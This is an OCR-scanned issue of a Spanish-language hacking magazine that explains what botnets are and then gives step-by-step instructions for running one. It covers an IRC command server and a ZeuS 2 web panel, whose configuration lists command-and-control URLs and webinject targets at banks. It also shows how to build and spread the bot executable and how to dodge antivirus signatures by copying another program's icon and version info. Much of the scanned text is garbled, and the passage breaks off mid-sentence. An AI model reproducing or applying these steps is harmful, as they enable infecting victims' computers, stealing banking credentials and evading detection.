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PROLOGO

Estimados amigos, a través de esta nueva entrega volvemos a acercarnos a ustedes con un tema de total

actualidad como lo es el de las BotNets. El malware ha evolucionado y las infecciones no se limitan al control de
un ordenador particular, sino a la creacién de redes de computadores con las mas diversas finalidades.

Conocer las herramientas de creacion, funcionamiento y manejo son actividades que no pueden permanecer
ajenas al mundo del hacking y la seguridad informatica. Son éstas las razones que nos llevan a iniciarnos en una
temadtica que resulta cautivante.

Por otra parte, en este transitar por el mundo del malware los objetivos son multiples y transcienden la
divulgacién del conocimiento libre. Nos proponemos un intercambio de instruccion pero al mismo tiempo de
aprendizaje consciente sobre el manejo de infecciones; las herramientas que ponemos en contacto con vosotros
se orientan a dichos fines.

En este niUmero encontraréis, desde la nocién misma de lo que es una BotNet, hasta su operatividad en diversos
entornos. Los distintas formas de montar una red de zombies y como instrumentar un tipo de indetectabilidad.

Complementamos la entrega con un ejercicio de analisis de ficheros maliciosos, correspondientes a la BotNet
Pony, y damos inicio a la guia de creacion de un troyano en VB.Net.

Equipo de UndercOde
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BOTNETS

1. (QUE ES UNA BOTNET?

La palabra BotNet, proviene de bot (robot) + net (red), de donde la conjunciéon de ambas nos anuncia el propio
concepto: red de control remota y automatizada de ordenadores. Se componen de un cliente (persona que
controla los ordenadores) y “PCs zombies”, que son los ordenadores infectados por dicha BotNet. La mayoria de
las veces, los propietarios de las computadoras afectadas por este malware no se dan cuenta de que tienen al
mismo alojado en ella. Cuando una PC se encuentra infectada pueden aparecer diversos sintomas, por ejemplo:
experimentar lentitud en las aplicaciones o tareas a realizar, el cooler de la maquina se acelera aun cuando no la
estamos utilizando, inestabilidades en la conexién, etcétera. Estas anomalias se explican -justamente- porque el
dueio de la red zombie, se encuentra enviando érdenes a los equipos que tiene bajo su poder.

Ordenadores
zombis

Ordenadores infectados

N\

Cibe}deliﬁ@qehfe

Infecta y controla
los ordenadores de
los usuarios

Botnet

Conjunto de ordenadores

infectados controlados
por el ciberdelincuente para
llevar a caba acciones maliciosas.
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2. (PARA QUE SIRVEN LAS BOTNETS?

Las BotNets son utilizadas para hacer spam, basicamente con la finalidad de obtener informacidn financiera y
poder sacar provecho o algin determinado beneficio. Al tener buena propagacién, se infectan miles de
ordenadores en busca de cuentas bancarias, tarjetas de crédito, y otros accesos de interés.

Otro uso frecuente que se les suele dar, es el de facilitar el abuso de la publicidad con los servicios del tipo que
nos brinda Adsense, Kontextua, entre otras empresas. De esta forma, se puede obtener mayor cantidad de visitas
o clicks gracias a los zombies que se encuentran en la red y, en definitiva, ganar bastante dinero.

Y 4

También son muy usadas para ataques de DDoS (denegacidon de servicio distribuido) cuya finalidad es tirar
websites, foros, y pueden llegar a causar dafios en la base de datos o consumir el ancho de banda del host para

gue deje de funcionar.
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Por otra parte, tienen otros usos que aunque no son tan difundidos, es oportuno mencionarlos:

e Construir servidores para alojar software warez, cracks, seriales, etc.

e Construir servidores web para alojar material pornografico y/o peddfilo.

e Construir servidores web para ataques de phishing.

e Montar redes privadas de intercambio de material ilegal.

e Sniffing de trafico web para robo de datos confidenciales.

e Distribucidn e instalacién de nuevo malware.

e Manipulacion de juegos online.

e Mineria y robo de bitcoins.

3. TIPOS DE CLIENTES

Hay varias formas de manipular una BotNet, entre los cuales podemos destacar los siguientes:

v' IRC

v Web Panel
v" Clientes de escritorio

Ne 2

En el IRC, lo que hacemos es que todos nuestros zombies conecten a un mismo canal de IRC y esperen érdenes

por comandos.

‘¢ mIRC .=[ AnakDompu ]=. - [#hera [94] [+nrt]: "Dont fuck witch heroine” | | 200.93.147.154delitosinformaticos.gov.colocalhost hehehe...
File View Favorites Tools

| G =9 B8 808

) DefacerlRC ...
3 #ajegile
(51 #AnakDompu

(5 #defacer

) #hera

[Z1 #Shinchi
lis-DefaceRd...
(7 Y-EiEgDdPg...

indoIRC Ana...
D #help

(5 #hera
ED#demg

(1 #rom

(51 #scanner

#

Commands Window Help 12| x|
NN = R

| i Soin | by e BT T L e Lo T o o o Kl S TN e T e e o L BT il e b B e
[00:19] * Joins: X-LrTFTu¥sGuist (X-LrTFTuYs@usé.surf-toun.net) Al +u-56711 =
[68:19] = Jo%ns: X-FhLvCeRg0d136 (x-FhLUCeRgal?nS.%skon.hr) :::;;;6§:3k10166
[86:19] * Joins: Y-FuUqNhQuyNq136 (Y-FuUqNhQyRlin5.iskon.hr) +x—chEﬁsSzK 078
[88:19] * Joins: Z2-FwBnEiCxIs142 (Z-FuBnEiCx@mail.bashkortostan.ru) X LuPmSiT JEZkB
[008:19] = Joins: X-RkYxYsUKPo139 (X-RkYxYsUkBuwebserver.sby.rad.net.id) +X-HNpS Egszw3h3
[86:19] * Joins: X-EuKyWzAile162 (X-EuKyWzAi@222.96.156.74) +x—02KEXOF'Rd372
[868:19] = Joins: Y-LnUzAaXnKx143 (Y-LnUzAaXn@arges.mchost.ru) +X-Tug KuP;Fa188
[668:19] = Jo@ns: Z-1hKulrIxBo145 (Z-IhKuMrIx@server.alnilhosting.com) +x-TuLQWSXn0d188
[68:19] = Joins: X-QrNpQpUWxEp144 (X-QrNpQpUWxBuws25.surf-town.net) +x—TngL'BsDu2h7
[88:19] * Joins: X-UuFqQuHrKw145 (X-UuFgQuHr@server.alnilhosting.com) +x—91JeMngZ'1kh
[86:19] * Joins: X-SfDjRntcQk383 (X-SFDjRnMc@66.235.180.95) +x—2iSuSwQaD]221
[608:19] = Joins: Y-2qNePulkYy145 (Y-Z2qNePuIkBus36.surf-town.net) +V—ﬂdloMwaEy331
[86:19] = Joins: Z2-YrOwXyNdEo145 (Z-YrOwXyNdE@oberon.domains.sk) +Y—BEWiPKD 02127
[68:19] = Jo@ns: Y-UfZ1GkDnUx132 (V-UFZIGan@79.14?.87.165) +Y_CnHXX 02Pb158
[68:19] = Jo%ns: 2—XUZ%U¥IXDC137 (Z—XUZ¥U§Ix@www.d1.uminho.pt) ) —J+V—Dq9yS£Mka926
Eg?éli] * Joins: Y-QrSjuUiLkDx151 (Y-QrSjUiLk@261-63-34-198.s5alesiano-a +V—DUDSM¥Cth2Q6
[60:19] * Joins: Y-GaSulUdIfJt145 (Y-GaSuldIf@S82.160.233.210) :::;:gﬂtt;’::ﬁg?
[068:19] * Joins: X-ZwJbItDqOu148 (X-ZwJbItDqRBwA?.webd.pl) +Y—KulpWuTaBK 834
[68:19] = Jo?ns: Y—R?ﬁuNpNde148 (V—R?ﬂuNpNx@nexblue.de) +v-Lnugnangx1u3
[08:19] = Quits: Y-LiE1lIvuGxDc138 (Y-LiE1lIvGx@ws27.surf-town.net) 5
(Broken pipe) +¥Y-MpDiWmGpUb112

[88:19] * Joins:
[66:28] * Joins:

X-¥xCzWuMtCF366
Z-EdHuBYNKLK152

(X-¥YxCzWult@ds1l1-145.0nlineToday.Com)
(Z2-EdHwBYyNKk@sd-14731 .dedibox.fr)

+Y-0vAiSoBpE0137

.| *Y-ReAuNpNxJd148

AU _CrDubDAVACH1£49D
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De forma muy similar sucede con el Web Panel; los zombies conectan a una misma IP, en donde tendremos un

panel y desde éste podremos introducir comandos o clickear las acciones que traiga dicha BotNet.

Zeu: Bots

Information:

Profile: M
GMT date: 11.03.2009
GMT time: 09:26:39

| Comp1D's: | |
1P's: | ]

Countries: [

Botnets: | |

Statistics:
SiaaTy Type: [Outside NAT =] [ Apply
Botnet:
— Online bots
Remote commands
Logs:
Search
1 user_1d9ce10c45_01d6e996 35 0.968
Search vith template - =
2 fic_000ebbob 47 0.765
Uplaadac filas 3 family_01207eeb 44 0.328
System: 4 d719sf2j_0019064f 07 0.235
Profiles 5 218_u_1_00ac3738 :27:06 0.141
profile 6 illusion_f2243e_00576c9d 112:36 0.844
Options 7 brian_ally_0228d16c .1.2.2/main 82. G Kill 97:49:55 0.313
8 telekit_7482b02_00b07900 .2.2/main 94==mo==. - Kill 98:00:42 0.157
Logout 3 your_jaxvxjzedk_00a364bc 2.2/main 82.5= GB Kil 96:10:44 26.75
10 home_881b31b48d_00170f87 1.1.2.2/main 58. TH Kill 103:14:13 1.042
11 your il S / Kill 104:12:03 0.578
12 blackxp_000325d8 - 98:38:15 0.187
12 b154bciafca840e_00397f1d Kil 104:11:25 0.078
14 xp_0051dba0 Kill 97:37:173.938 | —
15 desktop_02659af2 107:20:49 0.657
16 davie_0085eb43 Kill 96:34:49 0.188
17 1_d07192a7a4944_0025f597 Kill 100:53:01 3.25
18 microsof_886bea_01bd77ea Kill 96:36:01 3.266
19 mircik_00069abc 8 il 96:41:51 0.187
20 ammo_00135651 .2.2/main 82. 96:31:56 0.156
21 freedom_867dc59_000050cf 1.1.2.2/main 82. 98:18:30 0.078
22 pc_fec662b1943d_00153eae I 104:11:26 0.15
23 pen_003f0760 .2.2/main 95. Kil 96:39:22 0.312
24 home_ S .2.2/main 24. Kill 104:12:37 0.624
25 bsaftpz_7e2bb74_017743b0 Kil 97:55:18 0.266
26 client_df77fa69_0d6210d8 Kill 96:14:16 0.701
27 acer_4d30879900_004dbca2 - 97:16:11 0
28 abc_67365a4e5b6_00204191 Kill 98:45:29 8.437
23 skz_fd19c55e0a2_003d5664 v Kil 96:32:12 10.016
Sm ey ST = e s s | (5
Fertig [p0 | ac [S)[ Apacherz | Adblock

Por ultimo, tenemos las BotNets con Clientes de escritorio y éste es similar a un troyano con su Cliente - Servidor.
Los zombies conectan a una DNS y desde nuestro cliente podremos darles érdenes.

PLCS/PCS-SANDOS Win XP 2.0E En espera de ordenes...

2.0d

ASISTENTE/Administr...

Spain Win XP En ezpers de ordenes...

DESKTCP/Administra... Spain Win XP 2.0c En ezpers de ordenes...

ENVIAR

YVIRUS.COM.AR
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4. ,COMO FUNCIONAN LAS BOTNETS?

Al igual que los troyanos, las BotNets estdan compuestas por un cliente-servidor. Se propagan rapidamente por
internet de forma masiva y pueden provocar una infeccidn en cadena. Esto quiere decir que si yo infecto a un
contacto mio, éste infectard a los suyos, y a su vez éste a los suyos; y asi sucesivamente, hasta formar una gran
cadena de infeccion...

Seguramente, mas de una vez habrdn visto en Facebook publicaciones que suelen llamar la atencién como las
siguientes:

Capture of Osama Bin Laden (video),

wrvd adan P —_— ~
NNiag “INe e

n

Distracting Beach Babes [HQ]
Length: 5:32

Video - Comment * Like - See Wall-to-Wall
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En los dos casos precedentes, se muestran videos que pueden ser tentadores, pero en realidad se trata de un
gusano que se propaga por Facebook. En consecuencia, si alguna vez entraron, lo mas probable es que se hayan
infectado...

Otro tipo de infeccidon es por URL y sucede cuando al entrar a un sitio web, éste muestra una especie de
advertencia que al aceptarla, estamos dando paso a una BotNet. La advertencia suele verse de la siguiente forma:

Advertencia - Seguridad L)SJ

La firma digital de la aplicacion no se puede verificar.
éDesea ejecutar la aplicacion?

Nombre: Adobe_Flash_Player_Update
Editor: (NOT VERIFICADOQ) Adabe Flash Player TM

De: file:/f

[] Confiar siempre en el contenido de este editor.:

[ Ejecutar ][ Cancelar J

s Lz firmz digital no se puede verificar mediante unz fuente de
U confianza. Ejecutes esta aplicacion solamente si confiz 2n 2l Mazs informacion...
desarrollzdor,

En este caso, simula ser una actualizacién de Flash Player, pero en realidad es un malware que intenta meterse en
nuestro sistema.

UNDERCBDE.ORG
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5. ,COMO MONTAR UNA BOTNET?

Antes hemos mencionado los 3 tipos de BotNets (IRC, HTTP, Cliente de escritorio); en los tres casos podemos
sefialar que los zombies deben apuntar al mismo sitio. Esto es, en el caso del IRC, apuntarlos a un canal registrado
en algun servidor; si es por HTTP, apuntarlos a un host; y si es por ejecutable, apuntarlos a alguna DNS. En
cualquiera de las hipdtesis corremos riesgos de perder todos los remotos, ya que puede ser denunciada y la dan
de baja. Lo que se recomienda, es tener un server propio en casa montado en nuestra PC para que los remotos
lleguen ahi; obviamente, teniendo precauciones para mantenerlo anénimo. Otra alternativa viable, es montarlo
en un servidor de algun pais en el que no haya leyes que prohiban su manejo.

6. BOTNET POR IRC

Para montar una por IRC necesitaremos IRCPlus, lo instalamos y nos vamos a su pantalla principal de
configuracion:

£ IRCPlus Remote Control

I — IFCplus

General Settings

= Client

m] Operators Server Mame: |antra:-:-|a|:-s.n-:u-ip.u:-rg

+ ;ﬁ Secunty D escriotiar:
i ptior:
_2| Channels IFC TEST

&t Micknames |
—i Memorandums
£ Prohibited Contact Info: |
gél Server Relaying
f bizcellares Login Pazzword:

-;f Ahout

Port:  |GEEY jl Limit clones: |3 jl

Limit connections: |10 ﬁ v Enable DMNS Lookups

= 1935-99 b ad-web Metwarks

Colocamos un nombre en el Server y una descripcion.

Nota: Es importante aclarar que el puerto que pongamos (en mi caso el 2000), debe estar abierto en
nuestro router en caso de que tengamos. En caso de tener router y no tenerlo abierto, lo abrimos de la
misma forma que cuando usamos un troyano.
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El resto de las opciones son a su gusto, como por ejemplo, la de los canales:

& IRCPlus Remote Control

&F Connection

= g General Settings
=) Client
@ Operators

+ ;ﬁ Securnty

_z| Channels
& Micknames
— Memorandums
ﬁ Prohibited
g'é; Server Relaying
f Mizcellanies
-;f About

iI‘CpIUS@

Rengistered Channels:

HAMTRAN-LABS

[ Allow uzers bo create channels
| Allow uzers to register channelz

~

" Default Channel Limit =

U Participart

= 159958-59 bad-web Metwarks

Ne 2

Importantisimo lo que estd remarcado en rojo, ya que de esta forma podran entrar todos los zombies a nuestro

canal sin ningun tipo de restriccion.

También es bueno crear un user admin para controlar el canal y el servidor.

Registramos el Nick:

UNDERCBDE.ORG
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& IRCPlus Remote Control

B3 Connection

= B4 General Settings
= Cligrt
@ Operatars

48 Security

‘2| Channel:
& Micknames
4 Memorandumsz
£ Prohibited
2a Server Relaving
& Mizcellanies
2 About

iGCIus®

R egistered Micknames:

Reqgistered Micknamesz
ANTRAX |

/= ficoessLit |
add | Edit | Delete | |
Kl

| Asllowe uzers to register nicknarnes

Mickname Action: [+ Gline

[ Must have a registered nick to signon

& 19333-39 b ad-web Metwarks

Y luego nos dirigimos a Operators:

& IRCPlus Remote Control

&F Connection

- ﬁ General Settings
=) Client
Eﬁ Operatars

+ ;ﬁ SecLrty

“&| Channels
#& Micknames
— Memorandums
ﬁ Frohibited
;—:’g Server Relaying
f Mizcellanies
-'j Ahout

IrCplus

- 0%

IRC Operataors: O perator
adrmin

~

~

~

Add |

~
~

Edt | Delete | |

= 1998-99 M ad-web Metwarks

Como pueden ver, ahi mi user estd como Operador del IRC.

Paso siguiente, vamos a nuestro cliente de IRC:

UNDERCBDE.ORG
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= Estado: no conectado (J’;I"I'R., i92.i"8.i.35

N

-

JUDOMDUTST LS

e 4

0s l"v’dljUb ]

=[ http ;. juerguistaz.net ]=—
/server antrax-labs.no-ip.org|

Colocamos /server “NO-IP” o IP.

En mi caso, coloque mi “no-ip” de test:
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& Estado: ANTRAX [+iS] en antrax-labs.no-ip.org:6667 | ,- D

OTD command.

m

iS) [11:00]

Ahi nos da una bienvenida.

Identifico mi user de la siguiente manera (comando):
/pass “Password”

Ejemplo: /pass 12345

Y por ultimo entramos al canal:

UNDERCBDE.ORG
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.‘E/Estado: ANTRAX [+15] en antrax-labs.no-ip.org:6667
;- Blenvenido a ANT

End of /MOTD command.

—=[ Conectado a antrax-labs.no-ip.org ]J=—

- —
Asuthorization requir 0 use Registered Mickname ANTRAX
[11:00] ( ) s reqicterpd and y’ou have 60 ;econd' to identify the pas
you do no
]'11-|'||‘|] {(r
Can pu
conflict beforw

+iS (+i1S) [11:00]

.

s canales #ANTR
Presiona Control + F9 o Doble-Click agui para reentrar en los ultimos canales

/e the nickname conflict before

/] #ANTRAX-LABS

B #ANTRAX-LABS [1] [+nt]

v antrax-labs.net

Con la entrada de nuestros zombies, ya estamos en condiciones de poder manipularlos a través de comandos

definidos -previamente- en la BotNet.

Observen una captura de ejemplo sobre cdmo se ve una por IRC cuando entran zombies:
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Como ven, el primero de todos (@Z) es el Operador del canal -quien manipulara la BotNet - todos los demas, son
los zombies.

De esta forma, no podran darnos de baja el canal ya que el servidor lo tendremos montado en nuestra propia PC.
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7. BOTNET POR HTTP O PANEL WEB

Para este caso utilizaremos la ZEUS 2.

En este apartado, veremos cdmo montarla con las configuraciones basicas, ya que se pueden agregar opciones
mas avanzadas, pero por ahora solo nos centraremos en las funciones principales para dejarla operativa.

Si acudimos a la carpeta de la podremos ver todos estos directorios:

a = ab > a - ' T

La carpeta llamada “server[php]” es la que debemos subir a algun hosting. Tener presente que este hosting no
debe ser gratuito.

Dentro de esta carpeta podremos ver los siguientes ficheros y directorios:

Abrimos el cliente de FTP y los subimos a todos:
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& haxirundercide.ong - Files il

Ne 2

fechivo Edkidn Var Transferenca Servidor Marcadorss  Ayuds
d-AMEF sy 3870
Servidor: | underclde.org Nombew de upsarie: | e

Contrasefia; sesssssssssss  Pusrice

Fornanda: PASY

Frespuaits: Z2T Entwrirny Passhes Mode (206, 51,232, 10, 103, 1 76).
i STOR indeo.php

22T Entering Passhes Mods (206,51, 232, 10,88, 1 38)

STOR eobase, bk
150 Opening ASCIT mode daka cornection for indec php
150 Oparirg ASCIE ooy daka cornmction lor geobuase, bt

Foespumste:
NS

Foespssta:
Fottgnsrid

o lecal; | 5\ Domourmeents and Sabtingeudeinistr ador i dooumentos L Do 2000, 9 Zeus 2,00, FservepbeT,

S remoted | fpubde_hemifoeus

+ M M= imbgenes
=2 M Dee 2089
= Tes 2009

E

=

R Fera
2 Forum

i

T by

. Tipo de archivn Lt mcificacidin

Hombee de archevn  # Tamafod... Tipods ai...

Canpeta de &rt...
Canpata da arc...
55,001  Archivo Fré
15363  Archivo PHP
0 Archivo FHP

120372001 9: 3908
12037200 1 9:39:08
12f03f201 1 93008
120372001 9: 3908
12037201 1 9:39:08
12f0af201 L 93008

Seleocinady 3 archives v 3 deectorios. Tamalio botal: 71244 bytes

Larvichor[rchien local Direccidn  Archivo remoto Tanafo Prordad  Estado

ok st
P php S5l
gate. php 15353
inder g o

Copetade..,
Buehias PP
Bk PP
Buchiea PP

3 archivos y 1 deectonio, Tamalio tobal: 71.244 bytes

& texir@undercide.org
Cifuumerts ot Seltingel .. s b Miimeus nstal)geote. .
00:00:01 bransouride  quedsn G0a00:11
Cilioouments and Settngsl... -2 fpeablic_Fienlizesinstalliredex, pho 28N Mormal
00:00:01 branseuaride  cueden 00:0000) (NEEERNNININN] 530 Brvbes (28,8 0E/5)
Archivos en cola (46} | Trensferencss faldes TransFerencias satisf sctonss (1)

TEFLTE Mormal
6T, 144 bybes (262, KBy}

Trarafirierso

Transfiriends

Una vez realizadas las acciones anteriores, el paso siguiente es crear una base de datos y un usuario que acceda a

ella.

Para ello debemos ir al Cpanel =» MySQL Bases de Datos:

Crear una Nueva Base de Datos

Muewva Base de datos: h4xE|r_|zELIS|

| ©

| Crear Base de Datos |

Una vez creada, haremos también un usuario:
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MySOL Usuarios

anadir Muevo Usuario

Maornbre Usuario: hdx0r | 7eus (]
Contrasefial |sesssssas (]
Contrasefia (Otra
WEZ @
Fuerza (por quérl: -Vll_n,r dehbil {18/100) Generador de contrasentilde; as

Crear Usuario

Finalmente, las vinculamos:

anadir Usuario a Base de Datos

Usuario: | hdx0r _zeus ki
Base de [\ v.0r zeus -
Catos: —

Aﬁad#|

A continuacion procedemos a darle todos los permisos a la cuenta:
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o MySQL Mantenimiento de Cuentas

Manejar los Privilegios del Usuario

Usuario: h4x0r_zeus
Base de Datos: hdxlr_zeus

B TODOS LOS PRIVILEGIOS

¥ aLTER ¥ CREATE

¥ CREATE ROUTINE ¥ CREATE TEMPORARY TABLES
¥ CREATE WIEW ¥ DELETE

¥ DROP ¥ ExXECUTE

¥ INDEX ¥ INSERT

¥ LOCK TABLES ¥ REFEREMCES

¥ SELECT ¥ UPDATE

Hacer Cambios

«— Hacia atras

Listo, ya tenemos hecha nuestra base de datos, que sera en donde se guarden todos los /ogs que capturemos.

Ahora, configuraremos el server del Bot; para ello vamos al directorio Builder y abrimos el archivo llamado
config.txt

Les copio/pego el texto plano del *.txt
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;Build time: 22:38:59 11.03.2011 GMT
;Version:  2.0.8.9

entry "StaticConfig"

;botnet "btn1"

timer_config 60 1

timer_logs 11

timer_stats 201

url_config "http://localhost/config.bin"
remove_certs 1

. disable_tcpserver 0

encryption_key "secret key"

. end

14.

15. entry "DynamicConfig"

16. url_loader "http://localhost/bot.exe"
17. url_server "http://localhost/gate.php"
18. file_webinjects "webinjects.txt"

19. entry "AdvancedConfigs"

20. ;"http://advdomain/cfgl.bin"

21. end

22. entry "WebfFilters"

23.  "I*.microsoft.com/*"

24. "lhttp://*myspace.com*"

25. "https://www.gruposantander.es/*"
26. "lhttp://*odnoklassniki.ru/*"

27. "lhttp://vkontakte.ru/*"

28. "@*/login.osmp.ru/*"

29. "@*/atl.osmp.ru/*"

30. end

31. entry "WebDataFilters"

32. ;"http://mail.rambler.ru/*" "passw;login"
33. end

34. entry "WebFakes"

35. ;"http://www.google.com" "http://www.yahoo.com" "GP" "" ""
36. end

37.end

38.

LN EWNE

N
W N R o

En la siguiente captura, unaimagen de cémo deberia quedar:
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;Ui Td time: 22:38:59 11.03,2011 oMT
version: 2.0.8.9

entry "staticconfig”
shotnet "localhost”
timer_config 60 1
timer_logs 1 1
timer_stats 20 1
url_config "http:/ undercode. org/~hdxor zeus,/config. bin"
remove_certs 1
disable_tcpserver O
encryption_key "kjdfkgdrdr52438rowe”
end

ertry "DnynamicConfig”
url_loader "http:  underclde.org/~hdx0r zeus oot. exe”
url_server "http:/Aundercode. orol~hdxor Szeus fgate. php"
file_webinjects "webinjects.txt"
entry "aAdvancedConfigs"
; 'httpr S advdomain/cfgl. bin®
end
entry "wehFilters”
"1w omicrosoft. com "
"thttp: /S *myspace. com*"
"Https S Awww. gruposantander., es "
"Thttp: /A odnokTassnikd. ru "
"Thttp:/Avkontakte, rus"
"E@ ogin.g osmp. o
"@¥ At osmp. o
end
entry "wehDbataFilters"
'http:rAfmail. rambler. ru /" "passw; login”
end
entry "wehFakes"
; 'http S Awww. google. com” "http: A Sweww. yahoo.o com® Ygpt ottt
end
end

Pasaremos a explicar las modificaciones:
;botnet "btnl"

e Modificamos a lo que esta entre comillas por localhost, que sera en donde estara situada la BotNet.
url_config "http://localhost/config.bin"

e Modificamos la URL por la nuestra. En este caso, debemos especificar en donde se encuentra el
config.bin (que auin no hemos creado, pero es el directorio que se estima que estara)

encryption_key "secret key"

e Acd debemos poner una llave secreta; que es un cddigo que nosotros queramos. En mi caso presioné
varias teclas al azar.

url_loader "http://localhost/bot.exe"
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url_server "http://localhost/gate.php"

e Por ultimo tenemos las dos precedentes, la primera es en donde tenemos el bot.exe (que aun no lo
hemos creado, pero es en donde estard alojado); y la segunda es el gate.php que ya hemos subido
previamente.

Seguidamente, abrimos el zsb para crear el config.bin y el bot.exe que nos faltan:

config sabtings webinjacts

" "Zeus Builder

TN ormstion

Buider Current version

Settings Version: 2.0.8.9
Buid tirme; 22:38:50 11,03, 2011 GMT
Signature: Death huckster

Infiormation sbaut sttive bot
Encryplion key:

kidfkodr 41524 38 e
Information:
Bait nat founded.

e Asi, en Encryption Key, la Ilave que colocamos en el config.txt

e A continuacién, vamos a Builder y damos click en Browse... y buscamos el config.txt

e Seguido a esto, damos click en “Build the Bot Configuration”.

e Guardamos el config.bin que nos genera y finalmente damos click en “Build the bot Executable”
e Por ultimo, guardamos el bot.exe
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ZeuS Builder

Inforrmation Builder

Source configuarkion File:

Setkings

|C:'|,D|:u:uments and SettingstAdministradoriMis |:||:||| | Browse.. | | Edit...

Ackions
| Build the bot configuration | | Build the bot executable |
a=https: § fumana, mvolb, comyLogin, asp* :I

100=https:|/homezae. cd citibank, ag/CappWebAppAEproduckbwe)cappfack
onysignoncg.do

101=https:/finternetbanking. aib.iefhb1 roifsignon
10Z=https:|/lot-part, bes, rufnames, nst R ogin®

103="*wellsf argo, com*
104=https:/web.da-us. citibank. comycgi-bin/citififportal {11, do
105=https: [ weh,da-us, citibank, comcgi-bing citifijpartal fif autherror, do®
106=https:/frupay.comfindex. php
107=https:[{light . webmaney, rufdefault, asp
108=*banquepopulaire, fr*

109=http:/*. osmp.ruf

110=https:{ v, uno-g, comflocal_bdnt_unoefLogin_unoez, bkl

111=htkps:[ v, com,esfogi-binfIMNclient_6105

BUILD SCCEEDED!

(L

Ahora si, subimos el config.bin y el bot.exe por FTP:

Mombre de arch. .. Torrafo de ... Tipsde ardtden L el aciin Hioendw e e e chivs Tamafiad.. Tigas e are..  Likiens modificss. ..
& . ai.
e Capebade are..,  TREOTA00D 9 a0 A sl Corpats da,., TR 216,
b Capeka de are,.,  TEEOTANID O E0R Al vrem Corpaty da,., T4N0EINEI L 2.
al sorvee Capetade arc,.,  LERO010 N EEROE
. servar[pha] Capetade arc,., OO0 9FEOR
bt sen 95,744 Apkcandn: TR 220
chark 12 biny WER AedvenBiN LR[00 900
config T Erdhivn 1 2R 97500 gabe pho 1533 Archiva PHE 14000 2,
config bin Al Ardheen BIN R T s B inddes, php 0 dschive FrE 14000 28:

Una vez hecho esto, ya estamos en condiciones de comenzar a infectar.

Ese bot.exe que generamos es el server que debemos propagar.

uJJ s 1»'!/‘ i iJl - i»l»‘ rervetel

chent32.bin config config.bin

Entramos via web a nuestro panel. Recuerden que el panel es ese que se llama cp.php
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User nare! |ANTRAX |

Password: Iy |

[l remember [MD5S cookies)

| Subrmit

Procederé a auto-infectarme, para probar si funciona. (Ustedes no hagan este paso ya que dafiaran severamente
su ordenador).

Una vez ejecutado el server, este desaparecerd y conectara a nuestro cliente via web, se vera algo asi:

1

Total reports in databasze:

Tirne of first activity: 15,08.2011 01:55:50
Total bots: i
Total active bots in 24 hours: 100,00% - 1
Minirnal version of bot: 2.0.8.9
Maximal version of bat: 2.0.8.9

Current botnet: JEIN Tl x=

New bots (1)
AR 1([AR 1

Si investigan un poco el panel del Bot, podran ver las opciones para ver los logs, para atacar webs, etcétera...

Para cerrar este capitulo, recordar que también tenemos la BotNet con Cliente de escritorio, pero parece no ser
necesario abundar en mayores explicaciones ya que no es muy frecuente verla y se configura de igual forma que
un troyano comun.

A manera de conclusidn, sefialar que las lineas-guia que hemos resefiado nos sitlan en los primeros pasos de la
tematica BotNets y sus configuraciones basicas, por lo que no solo no esta agotado el tema sino que os invitamos
a continuar explorando, profundizando y plantedndose problemas a resolver como el mejor camino de
aprendizaje.

UNDERCBDE.ORG



Autor: Roda. ¢,




Malware Magazine Ne 2

. INDETECTABILIDAD

1. MODDEAR UN BNARIO

En esta segunda entrega de Malware Magazine, analizaremos cémo modificar un crypter ya compilado. Es decir,
veremos como moddear un binario; para ello necesitaremos Resource Hacker.

Con esta excelente herramienta, lo que podemos hacer es cambiarle la versién y el icono al ejecutable; y aunque
parezca increible, esto ayuda a saltar algunas firmas.

2. CAMBIAR DE ICONO

’

Una vez que ejecutamos Resource Hacker, para cambiar el icono debemos ir al mend "Action - Replace icon".

|2y Resource Hacker - C\Users\Roda\Desktop'\Roda.exe EI
File Edit Wiew [Action Help

Dm Save Resource as a binary file ...
&1 leen Group
-2 Version Infa

Save Resource as a ".res file ...

Save Decompiled Resource ...

Save [ Icon ] resources ..

Save all Resources ...

Replace Icon ..
Replace Cursor ..
Replace Bitmap ...

Replace other Resource ...

Update all Rescurces ..,

Add a new Resource ...

Elegido nuestro icono, solo debemos desplegar al menu Filey dar click en Save / Save As (guardar)...
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3. CAMBIAR DE VERSION INFO

Para cambiar la Version Info de un programa, lo primero que debemos hacer es elegir algin programa que
tengamos en nuestra PC o que descarguen de internet.

Veamos un ejemplo: elegimos el programa lobit Unistaller y lo arrastramos hasta el Resource Hacker, vamos
donde dice Version Info (1033 en este caso)...

[y Resource Hacker - C\Users\Rada!\ Desktopliobit. exe
File Edit View Action Help
&-(3 Cursor

w1 Bitmap R

E=5 Bl =

@-3 Icon
@] Dialog
-1 String Table

1 VERSICNINFO
FILEVERSION 2,4,7,340

PRODUCTVERSICH 2,4,7,340

FILECS Ox4

®-] RCData
: FILETYPE 0x1

-] Cursar Group
@11 lcan Group
=23 Version Info .
. E'"@‘ BLOCKE "040304E4"

@ 1033 ‘
-] 24 VALUE "CompanyName", "IChit"
"FileDescription", BELERARNGEEISTRES A
"FileVersion™, "2.4.7.340"
"Internallame™, ™"
"LegalCopyright", "Copyright(c} 2005-2013"
"LegalTrademarks™, "IChLit"
E "OriginalFilename™, ™"
"ProductName™, "ICkit Uninstaller”
"ProductVersion", "2.0.0.0"
"Comments™, "

BT OACE NS

BLOCK "StringFileInfo”

m

ILine: 12 ; ' 756
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Seleccionamos todo el contenido y elegimos copy o cut (copiar o cortar):

2y Resource Hacker - C\Users\Roda'\Desktop\ichit.exe EI@

File Edit View Action Help

=[] MAD
B2 Cursar
-3 Bitmap -
[]"'Q lcon 1 VERSICHNINFO
-] Dialog FILEVERSION 2,4,7,340
-2 String Table PRODUCTVERSION 2,4,7,340
&3 RCData FILEOS 0x4
-] Cursor Group EILEITEE Oxl
-3 lcon Grou

Eigg‘brm“nhﬁﬂ ELOCK "StringFileInfo®

EPE? 1 BLOCK "040304E4" E

L5k 1033

-] 24 "CompanyName™, "IObit™

"FileDescription™, "IObit Uninstaller®
"FileVersi
"Internall
"LegalCopy|

Select All

- {c) 2005-2013"

"LegalTrad .

"OriginalF Copy

"Productl Paste w
"Productve

"Comments"™ Unde

Line: 1 756
Ahora arrastramos nuestro ejecutable (stub) para pegar la informacién anterior:

2y Resource Hacker - Ci\Users\Roda\Desktophiobit.exe E|@
File Edit View Action Help
H-[] MAD

-2 Cursar

-] Bitmap =
-2 lcon
-2 Dialog
[

=

[

£

Compile Script

{27 String Table
1] RCData
H-[2 Cursaor Group
q-[Z] lcon Group
B4 Version Info

o oo e

]
au
]
]
]
2
5
s
)
3
3
b
1
r
m

nICEiEn

Line: 10 756
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A continuacion, hacemos el mismo procedimiento que antes y pegamos nuestra informacion, luego pulsamos
